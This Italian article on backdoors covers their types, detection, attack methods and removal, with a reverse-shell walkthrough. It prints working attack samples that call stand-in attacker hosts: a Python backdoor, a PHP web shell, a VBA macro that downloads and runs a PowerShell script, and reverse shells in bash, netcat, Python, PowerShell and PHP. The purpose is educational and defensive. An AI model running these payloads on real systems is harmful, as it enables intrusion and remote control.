Indice dei contenuti
- Cos’è una backdoor
- Tutte le tipologie di backdoor
- Come intercettare backdoor e funzionalità
- Modalità di attacco con le backdoor
- Esempio di attacco: “reverse shell” in azione
- Come rimuovere una backdoor dal computer o sito infetto
Le backdoor rappresentano una delle minacce più insidiose e difficili da individuare. Questi strumenti malevoli permettono a un attaccante di ottenere accesso non autorizzato a un sistema compromesso, aggirando meccanismi di sicurezza, controlli e password.
Questo articolo esplora a fondo cosa sono le backdoor, le loro varianti più comuni, come si diffondono, come agiscono e – soprattutto – come è possibile individuarle e rimuoverle in modo efficace. Analizzeremo inoltre un caso pratico: l’uso della reverse shell, una delle tecniche più note nel campo delle backdoor.
Cos’è una backdoor
Nel contesto della sicurezza informatica, una backdoor è una porta di accesso nascosta che permette di controllare un sistema informatico bypassando le normali misure di sicurezza.
Questa porta può essere inserita volontariamente da uno sviluppatore oppure introdotta clandestinamente da un attaccante.
Backdoor legittime vs malevole
- Legittima
Può essere integrata da un produttore di software per finalità come l’assistenza remota o il recupero d’emergenza. Un esempio sono alcune backdoor nei router domestici, usate dagli ISP per interventi di manutenzione. - Malevola
Viene installata tramite malware, phishing o vulnerabilità, per garantire accesso remoto non autorizzato a un cyber criminale.
Funzionamento
Una backdoor può essere attiva, cioè comunicare costantemente con l’attaccante, oppure passiva, in attesa di un comando specifico. Di solito, permette di:
- Eseguire comandi da remoto
- Caricare o scaricare file
- Installare altri malware
- Registrare attività dell’utente
- Trasferire dati sensibili
Esempio pratico in Python: backdoor semplice
Il seguente codice Python rappresenta una backdoor rudimentale che si connette a un server remoto e attende comandi da eseguire:
mport socket
import subprocess
# Dati del server (attaccante)
host = "attacker_ip"
port = 4444
# Connessione
s = socket.socket()
s.connect((host, port))
while True:
command = s.recv(1024).decode()
if command.lower() == "exit":
break
output = subprocess.getoutput(command)
s.send(output.encode())
s.close()
Questo script andrebbe eseguito sulla macchina della vittima. L’attaccante, nel frattempo, può semplicemente aprire una porta in ascolto con netcat:
nc -lvp 4444
Da qui potrà inviare comandi che saranno eseguiti in remoto.
Caso reale: la backdoor di Juniper (2015)
Nel 2015 fu scoperta una backdoor nei firewall ScreenOS di Juniper Networks, che permetteva a un attaccante con conoscenze della chiave segreta di decifrare il traffico VPN.
La vulnerabilità era stata inserita nel codice in modo deliberato. Questo episodio evidenzia come backdoor software possano minare anche infrastrutture critiche, senza che gli utenti ne siano consapevoli.
Tutte le tipologie di backdoor
Le backdoor si presentano in molteplici forme e livelli di complessità. Alcune agiscono come software nascosti, altre sono implementate a livello di sistema operativo, firmware o perfino hardware. Comprendere le diverse tipologie di backdoor è essenziale per sapere come rilevarle e difendersi.
1. Backdoor software
Sono tra le più diffuse. Si tratta di funzionalità nascoste inserite in programmi apparentemente legittimi. Sono spesso veicolate tramite:
- Trojan horse
Software infetti che installano componenti malevoli. - Modifiche a software open source
Quando un attaccante riesce a inserire codice dannoso in progetti condivisi.
Esempio:
Nel 2020 fu scoperta una backdoor nel progetto open source phpass, utilizzato per l’hashing delle password. La funzione CheckPassword() era stata alterata per restituire sempre true se riceveva una password specifica, permettendo l’accesso amministrativo.
2. Botnet
Una botnet è una rete di computer infetti da malware controllati da remoto. Ogni macchina viene resa un bot attraverso una backdoor che riceve comandi da un server centrale (C&C server).
Caratteristiche:
- Comunicazione C2: HTTP, IRC, DNS o peer-to-peer.
- Persistenza: le backdoor bot tendono ad auto-aggiornarsi.
- Uso: DDoS, spam, mining, furto di dati.
Esempio:
Mirai è una famigerata botnet che infettava dispositivi IoT sfruttando credenziali di default. Creava backdoor che si connettevano a server C2 per attacchi DDoS massivi (fino a 1 Tbps).
3. Rootkit
I rootkit sono backdoor avanzate che operano a basso livello nel sistema operativo, nascondendo file, processi e connessioni di rete. Possono agire a due livelli:
- User-mode
Più facili da rimuovere, operano come servizi o DLL. - Kernel-mode
Agiscono a livello del kernel, sono molto più difficili da rilevare.
Tecnica comune:
I rootkit usano tecniche di hooking delle API di sistema per mascherare la loro presenza.
Tool di rilevamento:
- rkhunter (Linux)
- GMER (Windows)
- Chkrootkit
4. Backdoor hardware / firmware
Sono le più difficili da individuare. Possono essere introdotte nei dispositivi direttamente in fase di produzione (supply chain attack), o tramite aggiornamenti firmware malevoli.
Esempio:
Nel 2018, Bloomberg accusò aziende cinesi di aver inserito chip spia su server destinati ad aziende americane come Apple e Amazon. Il caso, noto come Supermicro espionage, non è mai stato completamente confermato, ma sollevò il tema delle hardware backdoor.
5. Backdoor di rete (network-based)
Vengono installate nei router, switch o firewall per intercettare, modificare o instradare traffico. Possono agire a livello di firmware o come servizi nascosti (es: telnet attivato).
Esempio:
Alcuni router Huawei venduti all’estero contenevano credenziali di accesso hardcoded, accessibili via telnet o SSH, considerabili vere e proprie backdoor.
6. Backdoor Web (PHP/ASP/JS)
Utilizzate per il controllo remoto di siti web compromessi. Sono file che permettono di:
- Caricare/eseguire codice
- Leggere/modificare file
- Accedere al database
Esempio di web shell PHP:
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
}
?>
Questa shell può essere richiamata con un URL tipo:
http://victim.com/shell.php?cmd=ls
Come intercettare backdoor e funzionalità
Rilevare una backdoor attiva in un sistema compromesso è un’operazione complessa, soprattutto se l’attaccante ha adottato tecniche di offuscamento o privilegi elevati.
Tuttavia, esistono una serie di strumenti e metodi per intercettare le backdoor, analizzarne il comportamento e bloccarle.
1. Analisi del traffico di rete
Le connessioni sospette verso IP esterni o l’uso anomalo di porte non standard possono essere indizi fondamentali.
Strumenti:
- Wireshark
Intercetta e analizza pacchetti in tempo reale. - tcpdump
Utile da riga di comando su server. - Zeek (ex Bro)
IDS avanzato che registra eventi di rete. - Suricata
NIDS con supporto a regole di rilevamento.
Esempio con tcpdump:
tcpdump -i eth0 port not 22 and port not 80
Questo comando mostra traffico non standard su interfaccia eth0.
2. Monitoraggio dei processi
Una backdoor in esecuzione spesso mantiene processi non familiari, senza descrizione, o mascherati come processi di sistema (svchost, systemd, explorer.exe falsi).
Strumenti:
- Process Explorer (Windows)
- htop / top / ps aux (Linux)
- Task Manager avanzato (macOS con Activity Monitor o lsof)
Esempio:
ps aux | grep -v root | grep -E 'nc|bash|perl|python|sh'
Questo comando cerca processi comuni alle backdoor eseguite da utenti non root.
3. Controllo porte e listener nascosti
Molte backdoor attivano un listener TCP su porte arbitrarie.
Comando utile:
netstat -tulnp | grep LISTEN
Su Windows si può usare:
netstat -ano | findstr LISTENING
Oppure strumenti avanzati come CurrPorts per GUI.
4. Analisi dei file di sistema e avvio
Le backdoor possono essere persistenti grazie a modifiche nei file di:
- Init system (systemd, rc.local, cron)
- Registro di Windows (es. HKLM\Software\Microsoft\Windows\CurrentVersion\Run)
- Script di login
Strumenti:
- Autoruns (Windows): mostra tutti i punti di esecuzione automatica.
- chkconfig / systemctl / crontab su Linux.
Esempio (Linux):
crontab -l
ls /etc/systemd/system/
Cerca job cron anomali o servizi persistenti non riconosciuti.
5. Rilevamento comportamentale
Alcuni software, come gli EDR (Endpoint Detection and Response), sono in grado di analizzare i comportamenti di applicazioni e utenti per identificare attività sospette.
Soluzioni EDR open source o gratuite:
- OSSEC
- Wazuh
- CrowdSec
6. Indicatori di Compromissione (IoC)
Gli IoC sono segnali digitali che indicano un’infezione. Alcuni esempi:
- IP e domini di C2 noti (es. 185.100.87.XX)
- Hash di file malevoli (SHA256)
- User agent anomali
- Comportamenti atipici (login da IP insoliti)
Strumenti per rilevare IoC:
- YARA (file analysis)
- VirusTotal
- MISP (Malware Information Sharing Platform)
7. Reverse engineering e sandboxing
Se si sospetta un file binario o uno script, può essere utile analizzarlo in sandbox per vederne il comportamento:
- Cuckoo Sandbox
- Any.Run
- Hybrid Analysis

Modalità di attacco con le backdoor
Le backdoor non rappresentano solo un tipo di malware, ma una vera e propria tecnica di compromissione e mantenimento dell’accesso.
In uno scenario di attacco tipico, l’installazione della backdoor è solo uno dei passaggi: prima c’è l’accesso iniziale, poi il lateral movement, l’escalation dei privilegi e infine la persistenza.
1. Vettori di infezione più comuni
a) Phishing e spear-phishing
È uno dei metodi più efficaci. Una mail con un allegato Word/PDF malevolo può contenere macro VBA che, una volta abilitate, eseguono codice remoto per scaricare la backdoor.
Esempio di macro malevola in VBA:
Sub AutoOpen()
Dim obj As Object
Set obj = CreateObject("Wscript.Shell")
obj.Run "powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/backdoor.ps1')"
End Sub
b) Exploiting di vulnerabilità
Gli attaccanti sfruttano bug in software (es. Apache, Exchange, WordPress) per caricare una web shell o una reverse shell.
Esempio
Vulnerabilità CVE-2021-26855 in Microsoft Exchange (ProxyLogon) usata per inserire una webshell ASPXe mantenere l’accesso.
c) Drive-by download
Navigando su un sito compromesso, uno script JavaScript può forzare il download e l’esecuzione di una backdoor, sfruttando vulnerabilità del browser o plugin (es. Flash, Java, ActiveX).
d) Supply chain attack
L’attaccante modifica un software legittimo prima della distribuzione (es. compromettendo il repository GitHub o il compilatore).
Esempio
Attacco a SolarWinds Orion – gli aggressori hanno infettato una libreria utilizzata da migliaia di aziende e agenzie governative.
2. Tecniche di installazione e persistenza
Dopo il primo accesso, l’obiettivo è non essere rilevati e poter tornare nel sistema in qualsiasi momento. Le tecniche comuni includono:
- Modifica del registro di Windows (es. chiavi Run)
- Creazione di nuovi servizi o demoni di sistema
- Inserimento di script cron o systemd
- Sostituzione di binari di sistema (es. ssh, ls, netstat)
- Iniezione in processi legittimi (process hollowing, DLL injection)
Esempio in PowerShell (persistenza tramite registro):
Set-ItemProperty -Path “HKCU:\Software\Microsoft\Windows\CurrentVersion\Run” -Name “Updater” -Value “C:\Users\victim\AppData\Roaming\backdoor.ps1”
3. Comunicazione con il server C&C
Una backdoor non è utile se l’attaccante non può impartire comandi. Le connessioni sono spesso cifrate (TLS), offuscate o camuffate in traffico HTTP normale.
Tecniche comuni:
- Reverse shell
- HTTPS callback
- DNS tunneling (uso dei record DNS per trasferire dati)
- Telegram bots o Discord webhook
Esempio base di reverse shell (bash):
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
4. Evasione delle difese
Una volta presente, la backdoor adotta tecniche per non farsi rilevare, tra cui:
- Offuscamento del codice
- Crittografia del payload
- Uso di packer o crypter
- Disabilitazione degli antivirus o EDR
- Simulazione di software legittimi (es. svch0st.exe)
5. Lateral movement e privilege escalation
Dalla macchina infetta, l’attaccante può propagarsi nella rete, cercare altre credenziali o passare a sistemi più critici.
Strumenti tipici:
- Mimikatz
Estrae hash e password dalla RAM - PsExec
Esecuzione remota su Windows - BloodHound
Analisi dei privilegi in Active Directory
Esempio di attacco: “reverse shell” in azione
Una delle modalità più comuni per mantenere una backdoor attiva è l’uso di una reverse shell. Questo tipo di attacco permette a un attaccante di ottenere un accesso remoto a una macchina bersaglio, aggirando firewall e NAT, poiché è la vittima a iniziare la connessione verso l’attaccante.
Cos’è una reverse shell?
In una reverse shell, la macchina compromessa apre una connessione TCP verso l’attaccante, che è in ascolto su una porta. Una volta stabilita la connessione, la shell (prompt dei comandi o terminale) del sistema infetto viene reindirizzata all’attaccante, permettendogli di impartire comandi remoti in tempo reale.
Scenario: attacco con netcat
1. L’attaccante apre una porta in ascolto
Sul proprio terminale, l’attaccante digita:
nc -lvp 4444
Il comando netcat (nc) è in ascolto sulla porta 4444, pronto a ricevere una connessione.
2. La vittima esegue il comando reverse
nc attacker_ip 4444 -e /bin/bash
Questo comando collega la shell bash della vittima alla porta 4444 dell’attaccante. Ora, l’attaccante può eseguire comandi come:
whoami
uname -a
ls -la
Nota:
Su sistemi moderni, l’opzione -e è disabilitata per motivi di sicurezza. In alternativa si può usare:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc attacker_ip 4444 > /tmp/f
Reverse shell in Python
import socket, subprocess, os
s = socket.socket()
s.connect(("attacker_ip", 4444))
os.dup2(s.fileno(), 0) # stdin
os.dup2(s.fileno(), 1) # stdout
os.dup2(s.fileno(), 2) # stderr
subprocess.call(["/bin/sh", "-i"])
Questa shell è utile in ambienti Linux/Unix con Python installato.
Reverse shell in PowerShell (Windows)
$client = New-Object System.Net.Sockets.TCPClient("attacker_ip",4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
Reverse shell in PHP (per siti compromessi)
<?php
$sock=fsockopen("attacker_ip",4444);
$proc=proc_open("/bin/sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
Una semplice web shell può essere salvata come .php e caricata in un sito WordPress vulnerabile.
Come si presenta il traffico?
Dal punto di vista del network analyst, una reverse shell può apparire come:
- Una connessione uscente da una macchina che non dovrebbe connettersi all’esterno.
- Porta destinazione non standard (es. 4444, 1337, 9001)
- Nessun User-Agent, protocollo TCP grezzo
Esempio tcpdump:
tcpdump -i eth0 port 4444
Può mostrare una sessione attiva da una macchina interna verso un IP sconosciuto.
Tecniche per eludere il rilevamento
- Crittografia del canale (reverse shell via HTTPS o TLS)
- DNS tunneling
- Uso di proxy pubblici o TOR
- Offuscamento del codice (Base64, XOR)
Contromisure
- Monitoraggio delle connessioni in uscita su porte non standard
- Impedire esecuzione arbitraria di PowerShell/VBA
- Analisi comportamentale (EDR)
- Impostare firewall in modalità “default deny”
- File integrity monitoring per rilevare shell caricate sul sito
Come rimuovere una backdoor dal computer o sito infetto
La rimozione di una backdoor è una delle fasi più critiche nella risposta a un attacco informatico. L’obiettivo non è solo eliminare il codice malevolo, ma anche assicurarsi che:
- L’attaccante non possa più rientrare nel sistema.
- Tutti i vettori d’infezione siano chiusi.
- Il sistema sia monitorato in modo efficace post-bonifica.
Vediamo nel dettaglio i passaggi per computer e siti web.
A. Rimozione da computer (Windows, Linux, macOS)
1. Isolare il sistema compromesso
Scollegare dalla rete LAN e da Internet per impedire ulteriori comandi remoti.
sudo ip link set eth0 down # Linux
Oppure disabilita Wi-Fi/ethernet su Windows/macOS.
2. Avvio in modalità sicura o tramite Live USB
Avvia il sistema in modalità provvisoria o usa una distribuzione live (es. Kali, Ubuntu Rescue Remix) per operare in un ambiente pulito.
3. Scansione con più antivirus/antimalware
- Malwarebytes
- ESET Online Scanner
- Kaspersky Rescue Disk
- ClamAV (Linux)
clamscan -r /home/ –bell -i
4. Analisi dei processi e delle porte
Identifica processi sospetti e listener attivi.
ps aux
netstat -tulnp
Su Windows:
tasklist
netstat -ano
5. Controllo dei file di avvio automatico
- Windows: Autoruns, regedit, shell:startup
- Linux: crontab -l, systemctl list-unit-files, /etc/init.d/
6. Rimozione manuale
Dopo aver individuato file malevoli:
sudo rm /path/to/suspicious_file
Oppure usa del su Windows.
7. Reset delle credenziali
Cambia tutte le password locali (utente, root, admin) e remoti (email, VPN, cloud).
8. Controllo integrità sistema
Confronta hash dei file di sistema con versioni originali o usa strumenti come:
- Tripwire
- AIDE
9. Ripristino da backup puliti (se necessario)
Se la compromissione è profonda, è consigliabile:
- Ripristinare da backup verificati.
- Formattare e reinstallare da ISO affidabili.
10. Monitoraggio post-rimozione
Installa strumenti per la rilevazione comportamentale (es. OSSEC, Wazuh, CrowdSec), per evitare nuove compromissioni.
B. Rimozione da sito web compromesso
1. Metti il sito offline
Impedisci l’accesso temporaneo per proteggere utenti e limitare danni SEO.
2. Accedi via FTP/SFTP o SSH
Esamina i file web (es. /public_html/, /var/www/html/).
3. Cerca file sospetti (PHP, JS, HTACCESS)
Usa grep, find, rgrep per cercare firme comuni:
grep -r –include=*.php “base64_decode” /var/www/html
4. Analisi di plugin, temi e CMS core
- Elimina plugin non ufficiali o inutilizzati.
- Reinstalla il core CMS (WordPress, Joomla).
- Confronta MD5/SHA dei file originali:
md5sum index.php
5. Strumenti di scansione automatica
- Wordfence (WordPress)
- Sucuri SiteCheck
- Quttera
- ImunifyAV
6. Ripristino da backup pulito
Se la compromissione è estesa o non identificabile con certezza, ripristina una copia pre-infetta del sito.
7. Cambia credenziali
Modifica le password di:
- FTP/SFTP
- Pannello di hosting
- Database
- CMS
8. Aggiorna tutto
Aggiorna:
- CMS (es. WordPress)
- Temi e plugin
- Versione PHP/MySQL se possibile
9. Implementa WAF (Web Application Firewall)
Esempi:
- Cloudflare
- Astra Security
- ModSecurity
10. Monitoraggio continuo
Configura alert automatici per:
- Modifica di file
- Accessi anomali
- Variazioni DNS
Domande e risposte
- Cos’è una backdoor?
È un accesso nascosto a un sistema informatico, utilizzato per controllarlo da remoto bypassando l’autenticazione. - Quali sono le principali tipologie di backdoor?
Botnet, rootkit, reverse shell, trojan e backdoor applicative. - Come si installa una backdoor su un sistema?
Attraverso phishing, exploit di vulnerabilità, trojan o attacchi supply chain. - Una backdoor è sempre dannosa?
No, alcune sono implementate per scopi di manutenzione, ma possono diventare pericolose se sfruttate da malintenzionati. - Cosa rende le rootkit così pericolose?
Operano a livello di sistema operativo e risultano invisibili agli antivirus comuni. - Cos’è una reverse shell?
Una connessione remota dalla vittima verso l’attaccante che consente il controllo del terminale. - Come posso sapere se ho una backdoor nel mio sistema?
Monitorando traffico di rete, processi in esecuzione e comportamenti anomali. - Posso rimuovere una backdoor senza formattare tutto?
Sì, ma richiede strumenti avanzati, conoscenza tecnica e spesso backup puliti. - Un sito WordPress può essere infettato da una backdoor?
Sì, specialmente tramite plugin o temi vulnerabili o compromessi. - Quali strumenti posso usare per cercare una backdoor?
Wireshark, rkhunter, chkrootkit, Autoruns, Malwarebytes, Wordfence, ClamAV.